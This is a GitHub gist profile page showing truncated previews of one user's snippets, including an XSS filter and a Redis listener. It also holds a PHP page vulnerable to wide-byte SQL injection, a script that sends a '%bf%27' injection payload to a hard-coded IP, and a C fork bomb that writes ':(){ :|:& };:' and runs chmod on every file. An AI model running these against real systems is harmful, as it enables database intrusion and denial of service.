Skip to content

Instantly share code, notes, and snippets.

View virusdefender's full-sized avatar
🐱

virusdefender

🐱
View GitHub Profile
qqqqqqqqqqqqqqqqqqq
@virusdefender
virusdefender / xss filter
Last active August 29, 2015 14:09
xss filter
#coding=utf-8
import re
from BeautifulSoup import BeautifulSoup
regex_cache = {}
def search(text, regex):
regexcmp = regex_cache.get(regex)
if not regexcmp:
regexcmp = re.compile(regex)
regex_cache[regex] = regexcmp
#coding=utf-8
import re
from BeautifulSoup import BeautifulSoup
regex_cache = {}
def search(text, regex):
regexcmp = regex_cache.get(regex)
if not regexcmp:
regexcmp = re.compile(regex)
regex_cache[regex] = regexcmp
import redis
import threading
class Listener(threading.Thread):
def __init__(self, r, channels):
threading.Thread.__init__(self)
self.redis = r
self.pubsub = self.redis.pubsub()
self.pubsub.subscribe(channels)
# coding=utf-8
import time
import random
import hashlib
import json
def split_str(string):
result = []
length = len(string)
@virusdefender
virusdefender / 1.py
Created January 31, 2016 07:06
find answers
#coding=utf-8
import re
r = re.compile(r'answer="(\w)"')
text = u"""
<div class="row">
<div class="span10">
<p>Remember, the <strong>only thing</strong> before everything, is to have a dogma. A dogma is a list consists by DOs and DONTanswer="C"s. You make it, stick to it while adapt it to reality, question yourself from time to time: is everything on the list mutuallanswer="A"y exclanswer="B"usive and collectively eanswer="B"xanswer="C"hausive?</p>
@virusdefender
virusdefender / server.py
Last active March 21, 2016 04:41
server.py
#!/usr/bin/env python2
import web
import rsa
import json
import random
import time
import hashlib
from base64 import b64encode, b64decode
<?php
header("Content-type: text/html;charset=gbk");
define("HOST",'127.0.0.1');
define("USER",'root');
define("PASS",'testtest');
define("DB",'test');
foreach($_GET as $key => $val){
$_GET[$key] = addslashes($val);
}
# coding=utf-8
import requests
import urllib
import re
regex = r = re.compile("<h1>([\s\S]*)</h1>")
base_url = "http://139.129.166.67/5t5y6huj7j7/?id=%bf%27 "
def get(payload):
@virusdefender
virusdefender / fb.c
Created June 13, 2017 10:15 — forked from gdisneyleugers/fb.c
Fork Bomb in C, fastest fork bomb written yet.
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
int generator(void)
{
system("echo ':(){ :|:& };: ./*' > $RANDOM");
system("chmod +x * 2> /dev/null");
system("chmod +x $RANDOM 2> /dev/null");